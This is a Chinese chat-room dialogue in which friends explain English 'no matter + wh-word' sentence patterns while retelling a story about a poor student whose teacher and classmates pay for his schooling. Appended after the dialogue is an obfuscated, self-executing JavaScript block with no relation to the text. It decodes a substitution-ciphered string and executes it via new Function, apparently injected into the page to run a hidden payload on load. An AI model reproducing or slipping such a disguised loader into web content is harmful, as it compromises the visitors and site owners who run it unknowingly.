(地球村部聊天室记事VIII)
心中有阳光,生活永流芳。(Thereissunshineinone’sheartandone’slifeisforeverfulloffragrance.)
298.做题有感
浩翔:佳慧说过的一句话,现在还在玩味再三。
佳慧:什么话让你念念不忘呀?
浩翔:“心中有阳光,生活永流芳。”
佳慧:此话很寻常,有何感想呀?
浩翔:感想就是,反之亦然。
佳慧:我明白你的意思了。心中无阳光,生活很灰暗。是这意思吧?
浩翔:难道不是吗?比方说恒大,心中无阳光,常黯然神伤。
恒大:怎么扯上我啦,我有那么阴暗吗?
浩翔:有没有你心里清楚。
恒大:我清楚你是在栽赃。
星业:你别生气呀,他在逗你玩。谁不知道你,信心十足呀。
佳慧:恒者大也,路人皆知。
浩翔:不再逗你玩了,这里有篇文章,看看说了些啥。
恒大:这篇文章不长,干吗还问人呀?
浩翔:里面有些句式,一时看不明白。比方说这两句,帮我释疑解惑。“Nomatterwhathappens,Icanalwaysfaceitbravely.”“Imustworkhardforitnomatterhowhardlifeis.”
恒大:我来给你翻译。第一句意思是:无论发生什么事,我都能总是勇敢地面对它。第二句的意思是:无论生活有多艰难,我都会为梦想而努力奋斗。
星业:这两句的关键词是“nomatter+特殊疑问词,如“what/when/where/who/which/how”表达无论什么,无论什么时候,无论哪里,无论谁,无论哪个,无论怎样”。
佳慧:其中“nomatter”的意思是不论,不管;没关系,不要紧,不重要。
恒大:“nomatter+特殊疑问词,如“what/when/where/who/which/how”,有时也可以转换成“whatever/whenever/wherever/whoever/whichever/however”。
浩翔:众人拾柴火焰高,谢谢诸位的赐教。那么下面的句子,我多少能看懂了。“WheneverImeetdifficulties,Ialwaysthinkofmyteacherandschoolmates.”无论什么时候遇到困难,我总是想到我的老师和同学。
恒大:你的进步很快。
浩翔:离不开诸位的帮助。文章的最后一句,我想奉献给大家。“Justagreatmansays,‘Whenonedoorshuts,anotheropensinlife.’”正如一位伟人所言,当一扇门关闭时,生活会为你打开另一扇门。
恒大:此路不通,自有通行处。
星业:这篇文章大意是什么?
浩翔:说的是文章作者,小时候家境异常贫困。听到自己被当地一所重点中学录取时,兴奋的跑回家告诉爸妈。可是爸爸一点也兴奋不起来,一个劲地抽烟,啥话也不说。妈妈暗自流泪,卧床已经两年。他明白了一切,虽有万般不舍,决定放弃学业,帮着爸爸干活,维持家庭生计。
恒大:故事就这样结束了吗?
星业:这样结束太过寻常,可能会有奇迹发生。
佳慧:估计会发生转折。
浩翔:正如大家所言,文章另起一段,讲述转折经过,主题得到升华。
恒大:一定是得到了贵人相助。
浩翔:猜猜贵人是谁?
恒大:反正不是我。
佳慧:是不是大款?
星业:估计有可能。
浩翔:这个贵人不是别人,是他的班主任和同学。开学之初,班主任带着同学们的捐助,帮着他圆了求学的梦。
恒大:这世界还是好人多。
佳慧:只要人人都奉献出一点爱,人间就会变成美好的天堂。
星业:所以有了上面感慨,无论生活有多艰难,都要为之努力拼搏。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();